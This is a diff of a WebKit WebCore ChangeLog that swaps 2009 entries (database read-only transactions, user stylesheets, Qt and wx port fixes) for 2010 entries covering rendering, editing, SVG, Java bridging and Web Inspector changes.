-        1. Adding support/bindings for read-only transactions.
-        2. Disallowing the SQLITE_*_VIEW and REINDEX operations in the
-        private browsing mode.
-        3. Adding an authorizer test.
+        Null-check the document's page to avoid dereferencing a null page.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28918
+        No regression test is added as this appears to be dependent on an interaction with Safari's bookmarks view that is
+        not testable from within DumpRenderTree.
 
-        Test: storage/test-authorizer.html
+        * page/FocusController.cpp:
+        (WebCore::dispatchEventsOnWindowAndFocusedNode):
 
-        * bindings/js/JSDatabaseCustom.cpp:
-        (WebCore::createTransaction): Parses all arguments and executes a
-        transaction.
-        (WebCore::JSDatabase::transaction): Refactored to use
-        createTransaction().
-        (WebCore::JSDatabase::readTransaction): Added to execute read-only
-        transactions using createTransaction().
-        * bindings/v8/custom/V8CustomBinding.h: Added the binding for
-        Database::readTransaction().
-        * bindings/v8/custom/V8DatabaseCustom.cpp:
-        (WebCore::createTransaction): Parses all arguments and executes a
-        transaction.
-        (WebCore::transaction): Refactored to use createTransaction().
-        (WebCore::readTransaction): Added to execute read-only
-        transactions using createTransaction().
-        * storage/Database.cpp:
-        (WebCore::Database::transaction): Added support for read-only
-        transactions.
-        * storage/Database.h: Added support for read-only transactions.
-        * storage/Database.idl: Added support for read-only transactions.
-        * storage/DatabaseAuthorizer.cpp:
-        (WebCore::DatabaseAuthorizer::createTempTable): Make it obvious
-        that the statement will be denied in private browsing mode and
-        read-only transactions.
-        (WebCore::DatabaseAuthorizer::dropTempTable): Same.
-        (WebCore::DatabaseAuthorizer::createTempIndex): Same.
-        (WebCore::DatabaseAuthorizer::dropTempIndex): Same.
-        (WebCore::DatabaseAuthorizer::createTempTrigger): Same.
-        (WebCore::DatabaseAuthorizer::dropTempTrigger): Same.
-        (WebCore::DatabaseAuthorizer::createView): Deny in private
-        browsing mode and read-only transactions.
-        (WebCore::DatabaseAuthorizer::createTempView): Same.
-        (WebCore::DatabaseAuthorizer::dropView): Same.
-        (WebCore::DatabaseAuthorizer::dropTempView): Same.
-        (WebCore::DatabaseAuthorizer::allowReindex): Same.
-        * storage/DatabaseAuthorizer.h:
-        * storage/SQLTransaction.cpp: Added support for read-only
-        transactions.
-        (WebCore::SQLTransaction::create):
-        (WebCore::SQLTransaction::SQLTransaction):
-        (WebCore::SQLTransaction::executeSQL):
-        (WebCore::SQLTransaction::acquireLock):
-        * storage/SQLTransaction.h:
-        * storage/SQLTransactionCoordinator.cpp:
-        (WebCore::SQLTransactionCoordinator::acquireLock): Added a new
-        parameter in preparation for a change that will allow multiple
-        read-only transactions on the same DB to run concurrently.
-        * storage/SQLTransactionCoordinator.h:
+2010-02-25  Oliver Hunt  <oliver@apple.com>
 
-2009-09-09  Dave Hyatt  <hyatt@apple.com>
+        Reviewed by Simon Fraser.
 
-        Reviewed by Adam Roben.
+        Multiple repaints on apple.com
+        https://bugs.webkit.org/show_bug.cgi?id=35409
 
-        https://bugs.webkit.org/show_bug.cgi?id=29102, add support for user stylesheet injection.  This is similar
-        to user script injection but allows for user stylesheets to be added.  The stylesheets are applied immediately
-        to all Frames in the PageGroup.
+        apple.com was triggering the fast scaling path for background images due to
+        repeated repaints as more content came in.  This occured due to a two problems
+        in the logic to detect scaling.  The first is that the main context is flipped
+        on mac so fails the identity or translation check.  We work around this by adding
+        an function that allows the scaling for a flipped CTM.  The other problem was that
+        we were looking at the destination rect size instead of the destination tile size
+        when deciding if the size we were drawn at would cause scaling.
 
-        Added userscripts/simple-stylesheet.html test case.
+        * platform/graphics/transforms/AffineTransform.h:
+        (WebCore::AffineTransform::isIdentityOrTranslationOrFlipped):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelScaleObserver::shouldPaintBackgroundAtLowQuality):
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
 
-        * WebCore.base.exp:
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::CSSStyleSelector):
-        * css/CSSStyleSelector.h:
-        * dom/Document.cpp:
-        (WebCore::Document::Document):
-        (WebCore::Document::attach):
-        (WebCore::Document::pageGroupUserSheets):
-        (WebCore::Document::clearPageGroupUserSheets):
-        (WebCore::Document::recalcStyleSelector):
-        * dom/Document.h:
-        * loader/PlaceholderDocument.cpp:
-        (WebCore::PlaceholderDocument::attach):
-        * page/PageGroup.cpp:
-        (WebCore::PageGroup::addUserStyleSheet):
-        (WebCore::PageGroup::removeUserContentForWorld):
-        (WebCore::PageGroup::removeAllUserContent):
-        * page/PageGroup.h:
-        (WebCore::PageGroup::userStyleSheets):
-        * page/UserStyleSheet.h: Added.
-        (WebCore::UserStyleSheet::UserStyleSheet):
-        (WebCore::UserStyleSheet::source):
-        (WebCore::UserStyleSheet::url):
-        (WebCore::UserStyleSheet::patterns):
-        (WebCore::UserStyleSheet::worldID):
-        * page/UserStyleSheetTypes.h: Added.
-
-2009-09-09  Carol Szabo  <carol.szabo@nokia.com>
+2010-02-25  Enrica Casucci  <enrica@apple.com>
 
-        Reviewed by Ariya Hidayat.
+        Reviewed by Adele Peterson.
 
-        [Qt] CSS Style -webkit-box-shadow is not rendered correctly on
-        Qt platform
-        https://bugs.webkit.org/show_bug.cgi?id=23291
+        Extra layout on keypress after a space (problem with rebalanceWhitespaceAt in InsertTextCommand).
+        https://bugs.webkit.org/show_bug.cgi?id=30946
+        <rdar://problem/7639184>
 
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::drawRect):
-        (WebCore::GraphicsContext::strokeArc):
-        (WebCore::GraphicsContext::drawConvexPolygon):
-        (WebCore::GraphicsContext::fillPath):
-        (WebCore::GraphicsContext::strokePath):
-        (WebCore::GraphicsContext::fillRect):
-        (WebCore::GraphicsContext::fillRoundedRect):
-         Added the ability to draw shadows for all these curves.
+        Do text insertion and whitespace rebalancing around the insertion in one step so that there's only one layout.
+        This patch was originally made by Justin Garcia.
+        
+        Test: editing/inserting/rebalance-whitespace-1.html
 
-2009-09-09  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::rebalanceWhitespaceAt): No behavior changes here,
+        just pushed the code that determined the extent of whitespace surrounding a position
+        to its own helper function.
+        * editing/InsertTextCommand.cpp:
+        (WebCore::InsertTextCommand::insertTextIntoNodeAndRebalanceWhitespace): Added.  Find 
+        whitespace surrounding the insertion position, add the text to insert, rebalance that entire
+        string, then insert it into the document.
+        (WebCore::InsertTextCommand::input):
+        * editing/InsertTextCommand.h:
+        * editing/htmlediting.cpp:
+        (WebCore::isWhitespace): Moved from CompositeEditCommand.cpp.
+        (WebCore::extentOfWhitespaceForRebalancingAt): Moved code from rebalanceWhitespaceAt into this helper
+        function.  Obtains the offset of the start and end of whitespace around a particular position.
+        * editing/htmlediting.h:
 
-        Reviewed by Simon Hausmann.
+2010-02-25  Alexey Proskuryakov  <ap@apple.com>
 
-        Add the qwebgraphicsitem.cpp to the build system.
+        Reviewed by Anders Carlsson.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28862
+        https://bugs.webkit.org/show_bug.cgi?id=35406
+        <rdar://problem/6945502> Make generic array methods work with JavaArray
 
-        * WebCore.pro:
+        Test: java/array-sort.html
 
-2009-09-09  Kevin Watters  <kevinwatters@gmail.com>
+        Made RuntimeArray inherit from JSArray, keeping the promise given in ClassInfo.
 
-        Reviewed by Kevin Ollivier.
+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::RuntimeArray):
+        (JSC::RuntimeArray::~RuntimeArray):
+        * bridge/runtime_array.h:
+        (JSC::RuntimeArray::classInfo):
+        (JSC::RuntimeArray::getConcreteArray):
 
-        [wx port] Move functions in TemporaryLinkStubs.cpp out to files where
-        they belong.
+2010-02-25  Dan Bernstein  <mitz@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29088
+        Reviewed by Alexey Proskuryakov.
 
-        * editing/wx/EditorWx.cpp:
-        (WebCore::Editor::showColorPanel):
-        (WebCore::Editor::showFontPanel):
-        (WebCore::Editor::showStylesPanel):
-        * platform/graphics/wx/GraphicsContextWx.cpp:
-        (WebCore::GraphicsContext::setPlatformShadow):
-        (WebCore::GraphicsContext::clearPlatformShadow):
-        (WebCore::GraphicsContext::beginTransparencyLayer):
-        (WebCore::GraphicsContext::endTransparencyLayer):
-        (WebCore::GraphicsContext::clearRect):
-        (WebCore::GraphicsContext::strokeRect):
-        (WebCore::GraphicsContext::setLineCap):
-        (WebCore::GraphicsContext::setLineJoin):
-        (WebCore::GraphicsContext::setMiterLimit):
-        (WebCore::GraphicsContext::setAlpha):
-        (WebCore::GraphicsContext::addInnerRoundedRectClip):
-        * platform/graphics/wx/IconWx.cpp: Added.
-        (WebCore::Icon::~Icon):
-        (WebCore::Icon::createIconForFile):
-        (WebCore::Icon::createIconForFiles):
-        (WebCore::Icon::paint):
-        * platform/graphics/wx/ImageWx.cpp:
-        (WebCore::Image::loadPlatformResource):
-        (WebCore::Image::drawPattern):
-        * platform/wx/CursorWx.cpp:
-        (WebCore::moveCursor):
-        * platform/wx/FileChooserWx.cpp: Added.
-        (WebCore::FileChooser::basenameForWidth):
-        * platform/wx/KURLWx.cpp: Added.
-        (WebCore::KURL::fileSystemPath):
-        * platform/wx/SSLKeyGeneratorWx.cpp: Added.
-        (WebCore::getSupportedKeySizes):
-        (WebCore::signedPublicKeyAndChallengeString):
-        * platform/wx/SearchPopupMenuWx.cpp: Added.
-        (WebCore::SearchPopupMenu::SearchPopupMenu):
-        (WebCore::SearchPopupMenu::saveRecentSearches):
-        (WebCore::SearchPopupMenu::loadRecentSearches):
-        (WebCore::SearchPopupMenu::enabled):
-        * platform/wx/SharedBufferWx.cpp: Added.
-        (WebCore::SharedBuffer::createWithContentsOfFile):
-        * platform/wx/SystemTimeWx.cpp: Added.
-        (WebCore::userIdleTime):
-        * platform/wx/TemporaryLinkStubs.cpp: Removed.
-        * platform/wx/TextBreakIteratorInternalICUWx.cpp: Added.
-        (WebCore::currentSearchLocaleID):
-        (WebCore::currentTextBreakLocaleID):
-        * platform/wx/WidgetWx.cpp:
-        (WebCore::Widget::setIsSelected):
+        Fixed a regression introduced in r44243, which made the assertion in checkListItems()
+        ineffective.
 
-2009-09-09  Steve Block  <steveblock@google.com>
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElementData::checkListItems): Copy the items vector before recomputing it,
+        then assert that the newly-computed vector is equal to the copy.
 
-        Reviewed by Adam Barth.
+2010-02-25  Dirk Schulze  <krit@webkit.org>
 
-        Geolocation incorrectly calls error callback in case of exception in success callback.
-        https://bugs.webkit.org/show_bug.cgi?id=27255
+        Reviewed by Nikolas Zimmermann.
 
-        Test: fast/dom/Geolocation/callback-exception.html
+        SVG's tspan is no member of SVGRenderBase, this can cause crashes on filters
+        https://bugs.webkit.org/show_bug.cgi?id=35354
 
-        * bindings/js/JSCustomPositionCallback.cpp: Modified.
-        (WebCore::JSCustomPositionCallback::handleEvent): Modified. Removed raisedException out param.
-        * bindings/js/JSCustomPositionCallback.h: Modified. Removed raisedException out param from handleEvent method and made handleEvent private.
-        * bindings/js/JSCustomPositionErrorCallback.h: Modified. Made handleEvent private.
-        * page/Geolocation.cpp: Modified.
-        (WebCore::Geolocation::sendPosition): Modified. No longer call error callback in case of exception in success callback.
-        * page/PositionCallback.h: Modified. Removed raisedException out param from handleEvent method.
+        This makes the base class RenderSVGInline of RenderSVGTSpan and RenderSVGInlineText
+        dependent on SVGBaseRenderer.
+        The SVG spec want as to use the object bounding box of the text root as the bounding box
+        for text-childs. So we search for the text root and use it's bounding box, stroke rect and
+        repaint rect for further calculations.
 
-2009-09-09  Steve Block  <steveblock@google.com>
+        Test: svg/filters/filter-on-tspan.svg
 
-        Reviewed by Darin Adler.
+        * rendering/RenderSVGInline.cpp:
+        (WebCore::RenderSVGInline::objectBoundingBox): Find the text root and give back it's bounding box.
+        (WebCore::RenderSVGInline::strokeBoundingBox): same for stroke rect
+        (WebCore::RenderSVGInline::repaintRectInLocalCoordinates): same for repaint rect
+        * rendering/RenderSVGInline.h:
+        (WebCore::RenderSVGInline::toSVGRenderBase): RenderSVGInline is part of SVGRenderBase now.
+        * rendering/RenderSVGTSpan.h:
+        (WebCore::RenderSVGTSpan::renderName): Removed bounding box code. Was just a hack for filters and maskers.
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::findTextRootObject): Search for the text root.
+        * rendering/SVGRenderSupport.h:
+        * svg/graphics/SVGPaintServerGradient.cpp: moved findTextRootObject to SVGRenderSupport
 
-        When Geolocation permission is denied, stops watches as well as one-shots.
-        https://bugs.webkit.org/show_bug.cgi?id=28305.
+2010-02-25  Dirk Schulze  <krit@webkit.org>
 
-        Tests: fast/dom/Geolocation/watch.html
-               fast/dom/Geolocation/permission-denied-stops-watches.html
+        Reviewed by Nikolas Zimmermann.
 
-        * page/Geolocation.cpp: Modified.
-        (WebCore::Geolocation::setIsAllowed): Modified. Marks the permission error as fatal.
-        (WebCore::Geolocation::handleError): Modified. If the error is fatal, stops watchers as well as one-shots.
-        * page/PositionError.h: Modified.
-        (WebCore::PositionError::setIsFatal): Added. Marks an error as fatal.
-        (WebCore::PositionError::isFatal): Added. Determines whether an error is fatal.
+        Use-element doesn't transform clipPath
+        https://bugs.webkit.org/show_bug.cgi?id=35375
 
-2009-09-09  Roland Steiner  <rolandsteiner@google.com>
+        If the use element is a child of clipPath, any settings on x, y or transform does not
+        transform the clipPath it references.
+        The use-element just misses this transformation in toClipPath.
 
-        Reviewed by Eric Seidel.
+        Test: svg/custom/use-on-clip-path-with-transformation.svg
 
-        Bug 28964 -  [Chromium] ChromiumDataObject should have getter/setter interface
+        * platform/graphics/cairo/PathCairo.cpp: Gtk port translated the path to the wrong direction.
+        (WebCore::Path::translate):
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::toClipPath):
 
-        Added getter/setter methods and trivial inline implementations for each.
-        (Note that they are not yet actually used.)
-        Once the Chromium code is changed to use them instead of directly accessing the
-        member variables, the member variables should be made private and cleaned up.
+2010-02-25  Jian Li  <jianli@chromium.org>
 
-        No new tests (no functional behavior changed).
+        Reviewed by Dmitry Titov.
 
-        * platform/chromium/ChromiumDataObject.h:
-        (WebCore::ChromiumDataObject::mainURL):
-        (WebCore::ChromiumDataObject::setMainURL):
-        (WebCore::ChromiumDataObject::mainURLTitle):
-        (WebCore::ChromiumDataObject::setMainURLTitle):
-        (WebCore::ChromiumDataObject::textPlain):
-        (WebCore::ChromiumDataObject::setTextPlain):
-        (WebCore::ChromiumDataObject::textHTML):
-        (WebCore::ChromiumDataObject::setTextHTML):
-        (WebCore::ChromiumDataObject::htmlBaseURL):
-        (WebCore::ChromiumDataObject::setHTMLBaseURL):
-        (WebCore::ChromiumDataObject::content):
-        (WebCore::ChromiumDataObject::releaseContent):
-        (WebCore::ChromiumDataObject::setContent):
-        (WebCore::ChromiumDataObject::contentFileExtension):
-        (WebCore::ChromiumDataObject::setContentFileExtension):
-        (WebCore::ChromiumDataObject::contentFileName):
-        (WebCore::ChromiumDataObject::setContentFileName):
-        (WebCore::ChromiumDataObject::fileNames):
-        (WebCore::ChromiumDataObject::setFileNames):
-        (WebCore::ChromiumDataObject::takeFileNames):
-
-2009-09-08  Pat Bradley  <vincent.bradley@nokia.com>
+        File.type support.
+        https://bugs.webkit.org/show_bug.cgi?id=35361
 
-        Reviewed by Ariya Hidayat.
+        Test: LayoutTests/editing/pasteboard/file-input-files-access.html
 
-        [Qt] locale date displays incorrect date format in symbian.
-        https://bugs.webkit.org/show_bug.cgi?id=29032
+        * html/File.cpp:
+        (WebCore::File::File):
+        * html/File.h:
+        (WebCore::File::type):
+        * html/File.idl:
 
-        strftime() in Symbian does not support #
-        Layout tests cannot be run on Symbian yet, so they are not updated.
+2010-02-25  Alexander Pavlov  <apavlov@chromium.org>
 
-        * runtime/DatePrototype.cpp:
-        (JSC::formatLocaleDate):
+        Reviewed by Pavel Feldman.
 
-2009-09-09  Rohini Ananth <rohini.ananth@nokia.com>
+        Javascript console should not attempt to scroll to end of console if console is not visible
 
-        Reviewed by Simon Hausmann.
+        https://bugs.webkit.org/show_bug.cgi?id=22992
 
-        NPAPI Plugin NPP_AsFile not working on Qt Webkit
-        https://bugs.webkit.org/show_bug.cgi?id=29068
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._scheduleScrollIntoView.scrollIntoView):
+        (WebInspector.ConsoleView.prototype._scheduleScrollIntoView):
+        (WebInspector.ConsoleView.prototype.addMessage):
 
-        * platform/qt/FileSystemQt.cpp:
-        (WebCore::openTemporaryFile)
-        Autoremove property of QTemporaryFile has been set to false. Hence closeFile() just closes and does not delete the file.
-        This solves the deletion of created temp file in PluginStream::destroyStream() before passing to plugin in NPP_AsFile.
+2010-02-25  Alexey Proskuryakov  <ap@apple.com>
 
-2009-09-08  Oliver Hunt  <oliver@apple.com>
+        Qt and Gtk build fixes.
 
-        Reviewed by NOBODY (Build fix).
+        * GNUmakefile.am:
+        * WebCore.pro:
+        Added CRuntimeObject.{c,cpp}.
 
-        Remove a few incorrect changes I left in.
+2010-02-25  Alexey Proskuryakov  <ap@apple.com>
 
-        * bindings/scripts/CodeGeneratorJS.pm:
+        Windows build fix.
 
-2009-09-08  Oliver Hunt  <oliver@apple.com>
+        * WebCore.vcproj/WebCore.vcproj: Added CRuntimeObject.{c,cpp}.
 
-        Reviewed by Sam Weinig.
+2010-02-25  Alexey Proskuryakov  <ap@apple.com>
 
-        Support numeric index getters in bindings
-        https://bugs.webkit.org/show_bug.cgi?id=29067
-
-        Add HasNumericIndexGetter to indicate a non-custom getter that
-        returns a number.  The numeric index getter also uses PropertySlot's
-        setValue rather than setCustomIndex to avoid an additional indirect
-        call.
-
-        * bindings/js/JSCanvasByteArrayCustom.cpp:
-        * bindings/js/JSCanvasFloatArrayCustom.cpp:
-        * bindings/js/JSCanvasIntArrayCustom.cpp:
-        * bindings/js/JSCanvasShortArrayCustom.cpp:
-        * bindings/js/JSCanvasUnsignedByteArrayCustom.cpp:
-        * bindings/js/JSCanvasUnsignedIntArrayCustom.cpp:
-        * bindings/js/JSCanvasUnsignedShortArrayCustom.cpp:
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * html/canvas/CanvasByteArray.h:
-        (WebCore::CanvasByteArray::item):
-        * html/canvas/CanvasByteArray.idl:
-        * html/canvas/CanvasFloatArray.h:
-        (WebCore::CanvasFloatArray::get):
-        (WebCore::CanvasFloatArray::item):
-        * html/canvas/CanvasFloatArray.idl:
-        * html/canvas/CanvasIntArray.h:
-        (WebCore::CanvasIntArray::get):
-        (WebCore::CanvasIntArray::item):
-        * html/canvas/CanvasIntArray.idl:
-        * html/canvas/CanvasPixelArray.idl:
-        * html/canvas/CanvasShortArray.h:
-        (WebCore::CanvasShortArray::get):
-        (WebCore::CanvasShortArray::item):
-        * html/canvas/CanvasShortArray.idl:
-        * html/canvas/CanvasUnsignedByteArray.h:
-        (WebCore::CanvasUnsignedByteArray::get):
-        (WebCore::CanvasUnsignedByteArray::item):
-        * html/canvas/CanvasUnsignedByteArray.idl:
-        * html/canvas/CanvasUnsignedIntArray.h:
-        (WebCore::CanvasUnsignedIntArray::get):
-        (WebCore::CanvasUnsignedIntArray::item):
-        * html/canvas/CanvasUnsignedIntArray.idl:
-        * html/canvas/CanvasUnsignedShortArray.h:
-        (WebCore::CanvasUnsignedShortArray::item):
-        * html/canvas/CanvasUnsignedShortArray.idl:
-
-2009-09-08  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wx build fix for 2.8.
-
-        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp:
-        (wxRenderer_DrawScrollbar):
-
-2009-09-08  Jens Alfke  <snej@chromium.org>
+        Reviewed by Geoffrey Garen.
 
-        Reviewed by Eric Seidel.
+        https://bugs.webkit.org/show_bug.cgi?id=35394
+        <rdar://problem/7685262> Make passing objects between Java and plug-ins work
 
-        In Mac Chromium, clicking below the last line of an editable area (textarea or
-        contenteditable) should put the caret at the end of the last line, as in Mac Safari.
+        * WebCore.PluginHostProcess.exp: WebKit now subclasses RuntimeObject, so it needed more exports.
 
-        Tests: LayoutTests/editing/selection/click-in-margins-inside-editable-div.html
-               LayoutTests/editing/selection/click-in-padding-with-multiple-line-boxes.html
+        * bridge/runtime_object.cpp:
+        (JSC::Bindings::callRuntimeObject):
+        (JSC::Bindings::callRuntimeConstructor):
+        Assert that a runtime object is passed as function.
 
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings): Change #if PLATFORM_MAC to be Mac-Chrome-inclusive.
+        * bridge/runtime_object.h: Moved RuntimeObject into Bindings namespace, matching other
+        related classes.
 
-2009-09-08  Dave Hyatt  <hyatt@apple.com>
+        * bridge/jni/jni_jsobject.mm:
+        (JavaJSObject::toString): Pass rootObject to convertValueToJValue(). It's not needed when
+        constructing a string, but this function now takes it for the sake of Object.
+        (JavaJSObject::convertValueToJObject): Check that object class is JavaRuntimeObject, not
+        just RuntimeObject.
 
-        Reviewed by Mark Rowe.
+        * bridge/jni/jsc/JNIBridgeJSC.cpp:
+        (JavaField::setValueToInstance): Pass rootObject to convertValueToJValue().
+        (JavaArray::setValueAt): Ditto.
 
-        Make sure not to do an early return when a data URL stylesheet successfully loads.  We need to still
-        clear the old cached sheet out of all existing Frames.  Fixes the data URL stylesheet layout test failure.
+        * bridge/jni/jsc/JNIUtilityPrivate.h: convertValueToJValue() now takes a RootObject argument,
+        because one is needed to gcProtect an object ghtat is wrapped into JSObject.
 
-        * page/Page.cpp:
-        (WebCore::Page::userStyleSheetLocationChanged):
+        * bridge/jni/jsc/JNIUtilityPrivate.cpp: (JSC::Bindings::convertValueToJValue): Convert
+        JavaScript objects to Java JSObject ones. This was already happening in other code paths,
+        which we should change to use common code.
 
-2009-09-08  Sam Weinig  <sam@webkit.org>
+        * bridge/jni/jsc/JavaInstanceJSC.cpp:
+        (JavaInstance::newRuntimeObject): Create an appropriate RuntimeObject subclass,
+        which is JavaRuntimeObject for Java.
+        (JavaInstance::invokeMethod): Unwrap returned JavaObjects that contain JS objects.
 
-        Fix windows build.
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/objc/WebScriptObject.mm:
+        (+[WebScriptObject _convertValueToObjcValue:originRootObject:rootObject:]):
+        * bridge/c/CRuntimeObject.cpp: Added.
+        (JSC::Bindings::CRuntimeObject::CRuntimeObject):
+        (JSC::Bindings::CRuntimeObject::~CRuntimeObject):
+        (JSC::Bindings::CRuntimeObject::getInternalCInstance):
+        * bridge/c/CRuntimeObject.h: Added.
+        (JSC::Bindings::CRuntimeObject::classInfo):
+        * bridge/c/c_instance.cpp:
+        (JSC::Bindings::CInstance::newRuntimeObject):
+        * bridge/c/c_instance.h:
+        * bridge/c/c_utility.cpp:
+        (JSC::Bindings::convertValueToNPVariant):
+        * bridge/jni/jsc/JavaInstanceJSC.h:
+        * bridge/jni/jsc/JavaRuntimeObject.cpp: Added.
+        (JSC::Bindings::):
+        (JSC::Bindings::JavaRuntimeObject::JavaRuntimeObject):
+        (JSC::Bindings::JavaRuntimeObject::~JavaRuntimeObject):
+        (JSC::Bindings::JavaRuntimeObject::getInternalJavaInstance):
+        * bridge/jni/jsc/JavaRuntimeObject.h: Added.
+        (JSC::Bindings::JavaRuntimeObject::classInfo):
+        * bridge/jsc/BridgeJSC.h:
+        * bridge/objc/ObjCRuntimeObject.h: Added.
+        (JSC::Bindings::ObjCRuntimeObject::classInfo):
+        * bridge/objc/ObjCRuntimeObject.mm: Added.
+        (JSC::Bindings::):
+        (JSC::Bindings::ObjCRuntimeObject::ObjCRuntimeObject):
+        (JSC::Bindings::ObjCRuntimeObject::~ObjCRuntimeObject):
+        (JSC::Bindings::ObjCRuntimeObject::getInternalObjCInstance):
+        * bridge/objc/objc_instance.h:
+        * bridge/objc/objc_instance.mm:
+        (ObjcInstance::newRuntimeObject):
+        * bridge/objc/objc_runtime.mm:
+        (JSC::Bindings::callObjCFallbackObject):
+        * bridge/runtime_root.h:
+        Added RuntimeObject subclasses for each instance type, and use them for type casting.
 
-        * dom/Document.idl:
+2010-02-25  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-2009-09-08  Kevin Ollivier  <kevino@theolliviers.com>
+        Rubber-stamped by Xan Lopez.
 
-        More robust wx build fix for 2.9.
+        Adopt the same string as the one that is expected by
+        fast/parser/fragment-parser.html for the description used by the
+        <isindex> element.
 
-        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp:
-        (wxRenderer_DrawScrollbar):
+        * platform/gtk/LocalizedStringsGtk.cpp:
+        (WebCore::searchableIndexIntroduction):
 
-2009-09-08  Sam Weinig  <sam@webkit.org>
+2010-02-25  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=27046
-        Implement CSSOM DocumentView.caretRangeFromPoint
-
-        Tests: fast/dom/Document/CaretRangeFromPoint/basic.html
-               fast/dom/Document/CaretRangeFromPoint/replace-element.html
-
-        * dom/Document.cpp:
-        (WebCore::Document::caretRangeFromPoint):
-        * dom/Document.h:
-        * dom/Document.idl:
-
-2009-09-08  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wx build fix, generate derived sources earlier in order to make sure
-        they're found by the build system when generating the list of sources to build.
-
-        * wscript:
-
-2009-09-08  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        <iterator> include in V8Proxy.h is spurious and causing ObjC compile issues for Chromium.
-
-        Test: Chromium mac canary build is fixed.
-
-        * bindings/v8/V8Proxy.h: Remove <iterator> include.
-
-2009-09-08  Xan Lopez  <xlopez@igalia.com>
-
-        Unreviewed attempt to fix the GTKbuild.
-
-        * GNUmakefile.am:
-
-2009-09-04  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28987, make the Document cache the page's user stylesheet in
-        parsed form.  Allows the sheet to survive across destruction/re-creation of the CSSStyleSelector.
-
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::CSSStyleSelector):
-        * css/CSSStyleSelector.h:
-        * dom/Document.cpp:
-        (WebCore::Document::attach):
-        (WebCore::Document::pageUserSheet):
-        (WebCore::Document::clearPageUserSheet):
-        (WebCore::Document::recalcStyleSelector):
-        * dom/Document.h:
-        * loader/PlaceholderDocument.cpp:
-        (WebCore::PlaceholderDocument::attach):
-        * page/Page.cpp:
-        (WebCore::Page::userStyleSheetLocationChanged):
-        * page/Settings.cpp:
-        (WebCore::Settings::setUserStyleSheetLocation):
-
-2009-09-08  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Unreviewed buildfix.
-
-        Fix Qt build after 48167, by adding the new cpp/h files
-        added to WebCore.gypi to WebCore.pro as well.
-
-        * WebCore.pro:
-
-2009-09-08  Xan Lopez  <xlopez@igalia.com>
+        Web Inspector: evaluate-on-hover does not work on HTML files.
+
+        https://bugs.webkit.org/show_bug.cgi?id=35378
+
+        * inspector/front-end/SourceCSSTokenizer.re2js:
+        * inspector/front-end/SourceHTMLTokenizer.js:
+        (WebInspector.SourceHTMLTokenizer):
+        (WebInspector.SourceHTMLTokenizer.prototype.set line):
+        (WebInspector.SourceHTMLTokenizer.prototype._isExpectingAttribute):
+        (WebInspector.SourceHTMLTokenizer.prototype._isExpectingAttributeValue):
+        (WebInspector.SourceHTMLTokenizer.prototype._setExpectingAttribute):
+        (WebInspector.SourceHTMLTokenizer.prototype._setExpectingAttributeValue):
+        (WebInspector.SourceHTMLTokenizer.prototype._attrValueTokenType):
+        (WebInspector.SourceHTMLTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceHTMLTokenizer.re2js:
+        * inspector/front-end/SourceJavaScriptTokenizer.js:
+        (WebInspector.SourceJavaScriptTokenizer):
+        * inspector/front-end/SourceJavaScriptTokenizer.re2js:
+        * inspector/front-end/SourceTokenizer.js:
+        (WebInspector.SourceTokenizer.prototype.set condition):
+        (WebInspector.SourceTokenizer.prototype.get condition):
+        (WebInspector.SourceTokenizer.prototype.get subTokenizer):
+        (WebInspector.SourceTokenizer.prototype.getLexCondition):
+        (WebInspector.SourceTokenizer.prototype.setLexCondition):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype.set mimeType):
+        (WebInspector.TextEditorHighlighter.prototype.highlight):
+        (WebInspector.TextEditorHighlighter.prototype._highlightInChunks):
+        (WebInspector.TextEditorHighlighter.prototype._highlightLines):
+        (WebInspector.TextEditorHighlighter.prototype._highlightLine):
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer.prototype._paintLine):
+
+2010-02-25  Xan Lopez  <xlopez@igalia.com>
 
         Reviewed by Gustavo Noronha.
 
-        should not pass URI fragments to libsoup
-        https://bugs.webkit.org/show_bug.cgi?id=28687
-
-        Strip the fragment from the URI before passing it to soup, since
-        it forwards it to servers in some cases (like when using a proxy)
-        which confuses them and makes them return 403/404.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::startHttp):
-        (WebCore::):
-
-2009-09-08  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Simon Hausmann.
-
-        Add QGraphicsScene events support to the Qt platform events.
-
-        * platform/PlatformMouseEvent.h:
-        * platform/PlatformWheelEvent.h:
-        * platform/qt/PlatformMouseEventQt.cpp:
-        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
